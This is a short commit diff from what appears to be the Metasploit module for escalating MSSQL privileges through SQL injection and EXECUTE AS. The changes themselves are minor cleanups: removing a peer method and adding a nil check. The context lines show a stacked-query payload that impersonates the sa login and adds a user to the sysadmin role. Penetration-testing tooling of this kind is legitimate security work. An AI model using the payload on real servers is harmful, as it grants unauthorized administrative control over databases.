Skip to content

Commit f048463

Browse files
committed
Do minor fixupts
* Delete peer method * Make verifications more strict
1 parent a5c87db commit f048463

File tree

1 file changed

+2
-6
lines changed

1 file changed

+2
-6
lines changed

modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -85,10 +85,6 @@ def run
8585
end
8686
end
8787

88-
def peer
89-
"#{rhost}:#{rport}"
90-
end
91-
9288
def get_username
9389
# Setup query to check for database username
9490
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
@@ -182,7 +178,7 @@ def check_imp_sysadmin(imp_user_list)
182178
end
183179

184180
# check if user is a sysadmin
185-
if parsed_result[0] == '1'
181+
if parsed_result && parsed_result[0] == '1'
186182
print_good("#{peer} - #{imp_user} is a sysadmin!")
187183
return imp_user
188184
else
@@ -200,6 +196,6 @@ def escalate_privs(imp_user,db_user)
200196
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
201197

202198
# Execute Query
203-
result = mssql_query(evil_sql)
199+
mssql_query(evil_sql)
204200
end
205201
end

0 commit comments

Comments
 (0)